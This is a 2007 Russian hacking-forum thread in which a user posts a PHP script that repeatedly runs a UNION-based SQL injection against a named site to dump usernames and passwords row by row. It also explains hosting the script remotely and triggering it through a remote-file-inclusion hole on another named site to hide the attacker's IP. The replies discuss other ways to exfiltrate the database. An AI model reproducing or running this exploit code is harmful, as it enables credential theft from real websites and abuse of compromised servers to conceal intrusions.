Слив базы через SQL-inj в цикле |

08.07.2007, 04:32
|
|
Познающий
Регистрация: 06.06.2007
Сообщений: 83
С нами:
9963383
Репутация:
140
|
|
Слив базы через SQL-inj в цикле
Может было уже, но не нащел, по этому пишу свою статью..
Дорогой Олл, часто бывает так, что на сайте нельзя вывести всю базу
сразу, а можно только одной строкой, и далее приходится перебирать
через limit. Можно ли автоматизировать этот процесс?? Да. Можно.
И сегодня я вам расскажу, как это сделать!
Сегодня передо мною стала именна такая проблема и я написал небольшой скриптик для этого..
Код:
<?php
$req='http://www.dog.ru/index.php3?mode=5&id=-1+union+select+1,2,3,4,5,concat(char(60,100,97,116,97,62),nick,char(58),passwd,char(60,47,100,97,116,97,62)),7,8,9,10,11,12,13,14+from+users+limit+';
// char(60,100,97,116,97,62) = <data>
// char(60,47,100,97,116,97,62) = </data>
// В итоге из базы вернется такая строка: <data>username:password</data>
$tag1='<data>';
$tag2='</data>';
// Между какими тегами ищем наши данные
$max=3203;
// Максимальное число пользователей в базе
error_reporting(0);
ob_implicit_flush();
echo '<pre>';
// Открываем цикл
for ($i=0;$i<$max;$i++)
{
con ($req.$i.',1/*',$tag1,$tag2);
}
echo '</pre>';
// Собственно сама функция
function con($url,$a1,$a2)
{
// Получаем порт и хост из адреса
$service_port = getservbyname('www', 'tcp');
$host=substr($url,7,strpos($url,"/",7)-7);
$address = gethostbyname($host);
// Создаем сокет
$socket = socket_create(AF_INET, SOCK_STREAM, 0);
// Коннектимся
$result = socket_connect($socket, $address, $service_port);
switch(socket_select($r = array($socket), $w = array($socket), $f = array($socket), 5))
{
case 2:
echo "[-] Connection Refused\n";
break;
case 1:
// echo "[-] Connected\n"; // Комментируем эту строку, чтобы не отображалась при выводе
break;
case 0:
echo "[-] Timeout\n";
break;
}
// Формируем запрос
$in = "GET $url HTTP/1.0\r\n";
$in .= "Host: $host\r\n";
$in .= "Connection: Close\r\n\r\n";
// Запрашиваем страницу
socket_write($socket, $in, strlen ($in));
$out = '';
$text='';
// Получам данные
while ($out = socket_read($socket, 2048)) {
$text.=$out;
}
socket_close ($socket);
// Ищем в полученной странице наши теги и выводим строку между ними
echo substr($text,strpos($text,$a1),strpos($text,$a2,strpos($text,$a1))-strpos($text,$a1));
echo "\n";
}
?>
Заливаем этот скриптик куда-нить на narod.ru.
Далее ищем сайт, уязвимый php-inj, например
*http://www.ultriplo.com/index.php?page=[url].php
и запускаем скрипт
*http://www.ultriplo.com/index.php?page=http://standmp3.narod.ru/get
Таким образом даже через модем мы можем быстро вытащить всю базу... Скорость зависит от ширины канала того сайта, на котором мы запускаем скрипт...
Вот!  Спасибо за внимание..
Created by 5hr4M...
|
|
|

08.07.2007, 16:40
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
С нами:
10441826
Репутация:
1686
|
|
а через инто аутфайл никак? да и слить упакованную в архив бд лудше--- или если уж так и сливать то лудше сразу с локали запускать и лить себе -- чет как-то хз помойму не слишком разумный метод делать дамп базы
|
|
|

08.07.2007, 17:12
|
|
Познающий
Регистрация: 06.06.2007
Сообщений: 83
С нами:
9963383
Репутация:
140
|
|
into outfile тоже не всегда работает.. нет прав записи часто..
А если лить с локали
1) Палишь ip
2) Скорость маленькая
3) Трафа жрет
А так скрипт исполняется на другой машине, с которой можно его через proxy запросить..
|
|
|

08.07.2007, 20:07
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
С нами:
10441826
Репутация:
1686
|
|
Сообщение от Shram-spb
into outfile тоже не всегда работает.. нет прав записи часто..
А если лить с локали
1) Палишь ip
2) Скорость маленькая
3) Трафа жрет
А так скрипт исполняется на другой машине, с которой можно его через proxy запросить..
1) палишь ip -- а проксю повесить сильно впадлу на себя?
2) и 3) -- полюбому потом придется лить все это с того сайта на который закачал..........
|
|
|

08.07.2007, 20:15
|
|
Познающий
Регистрация: 06.06.2007
Сообщений: 83
С нами:
9963383
Репутация:
140
|
|
Сообщение от genom--
1) палишь ip -- а проксю повесить сильно впадлу на себя?
2) и 3) -- полюбому потом придется лить все это с того сайта на который закачал..........
1) Ну, если переписать немного скрипт, то можно..
2) Ты хоть разбирался как скрипт работает??
Объясню.. Он запрашивает с атакуемого сайта страницу, находит в ней нужные данные и выводит их на экран..
А теперь прикинь какая экономия траффика? Запросить 1000 страниц или скачать 1000 строчек с сайта??? Подумай над этим...
|
|
|

10.07.2007, 17:11
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами:
10459106
Репутация:
2996
|
|
genom--
Сам подумал что сказал создай мне запрос что бы выводил в файл всю базу, при условии что выводиться 1 строка.
Shram-spb
Реализация прикольная токо можно привинтить что бы не в файл лилось а в бд.
|
|
|

10.07.2007, 18:48
|
|
Banned
Регистрация: 22.08.2006
Сообщений: 608
С нами:
10378404
Репутация:
1095
|
|
вообще, это слишком простенько и неинтересно, чтоб посвещать такому скриптику целую статью.. ведь извлекать из базы подобным образом инфу - это тривиальнейшая задача, которую тут, наверно, каждому второму хоть раз приходилось решать..
>> Реализация прикольная токо можно привинтить что бы не в файл лилось а в бд.
имхо проще уже потом из файла перекинуть все в БД..
|
|
|

08.07.2007, 15:25
|
|
Познающий
Регистрация: 06.06.2007
Сообщений: 83
С нами:
9963383
Репутация:
140
|
|
Сообщение от invlose
_https://forum.antichat.ru/thread31457.html
_https://forum.antichat.ru/thread21288.html
#потер оффтоп
Что - то я не понял, что я нарушил???
Если тока, черезчур много кода.. ну уж без него никак.. 
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|